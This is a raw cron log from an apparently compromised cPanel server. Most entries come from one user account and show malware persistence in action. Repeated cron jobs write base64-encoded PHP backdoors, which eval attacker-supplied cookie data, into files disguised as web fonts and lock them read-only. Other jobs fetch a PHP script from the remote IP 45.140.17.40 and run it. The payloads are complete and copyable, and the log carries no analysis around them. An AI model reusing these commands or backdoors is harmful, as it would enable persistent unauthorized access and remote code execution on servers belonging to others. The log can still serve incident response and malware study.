Feb 22 23:22:01 ip-184-168-122-23 CROND[11319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:22:01 ip-184-168-122-23 CROND[11321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:22:01 ip-184-168-122-23 CROND[11320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:22:01 ip-184-168-122-23 CROND[11322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:23:01 ip-184-168-122-23 CROND[11647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:23:01 ip-184-168-122-23 CROND[11648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:23:01 ip-184-168-122-23 CROND[11649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:23:01 ip-184-168-122-23 CROND[11650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:24:01 ip-184-168-122-23 CROND[11961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:24:01 ip-184-168-122-23 CROND[11963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:24:01 ip-184-168-122-23 CROND[11965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:24:01 ip-184-168-122-23 CROND[11964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:24:01 ip-184-168-122-23 CROND[11966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:25:01 ip-184-168-122-23 CROND[12283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:25:01 ip-184-168-122-23 CROND[12284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:25:01 ip-184-168-122-23 CROND[12285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:25:01 ip-184-168-122-23 CROND[12288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:25:01 ip-184-168-122-23 CROND[12292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:25:01 ip-184-168-122-23 CROND[12291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:26:01 ip-184-168-122-23 CROND[12691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:26:01 ip-184-168-122-23 CROND[12696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:26:01 ip-184-168-122-23 CROND[12694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:26:01 ip-184-168-122-23 CROND[12693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:26:01 ip-184-168-122-23 CROND[12695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:27:01 ip-184-168-122-23 CROND[12999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:27:01 ip-184-168-122-23 CROND[13000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:27:01 ip-184-168-122-23 CROND[13002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:27:01 ip-184-168-122-23 CROND[13003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:28:01 ip-184-168-122-23 CROND[13317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:28:01 ip-184-168-122-23 CROND[13320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:28:01 ip-184-168-122-23 CROND[13319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:28:01 ip-184-168-122-23 CROND[13321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:28:01 ip-184-168-122-23 CROND[13323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:29:01 ip-184-168-122-23 CROND[13624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:29:01 ip-184-168-122-23 CROND[13626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:29:01 ip-184-168-122-23 CROND[13628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:29:01 ip-184-168-122-23 CROND[13629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:30:01 ip-184-168-122-23 CROND[13951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:30:01 ip-184-168-122-23 CROND[13950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:30:01 ip-184-168-122-23 CROND[13953]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 23:30:01 ip-184-168-122-23 CROND[13959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:30:01 ip-184-168-122-23 CROND[13960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:30:01 ip-184-168-122-23 CROND[13958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:30:01 ip-184-168-122-23 CROND[13957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:30:01 ip-184-168-122-23 CROND[13962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:31:01 ip-184-168-122-23 CROND[14303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:31:01 ip-184-168-122-23 CROND[14306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:31:01 ip-184-168-122-23 CROND[14305]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 23:31:01 ip-184-168-122-23 CROND[14309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:31:01 ip-184-168-122-23 CROND[14310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:32:01 ip-184-168-122-23 CROND[14714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:32:01 ip-184-168-122-23 CROND[14716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:32:01 ip-184-168-122-23 CROND[14717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:32:01 ip-184-168-122-23 CROND[14719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:32:01 ip-184-168-122-23 CROND[14718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:33:01 ip-184-168-122-23 CROND[15032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:33:01 ip-184-168-122-23 CROND[15034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:33:01 ip-184-168-122-23 CROND[15036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:33:01 ip-184-168-122-23 CROND[15037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:34:01 ip-184-168-122-23 CROND[15362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:34:01 ip-184-168-122-23 CROND[15363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:34:01 ip-184-168-122-23 CROND[15364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
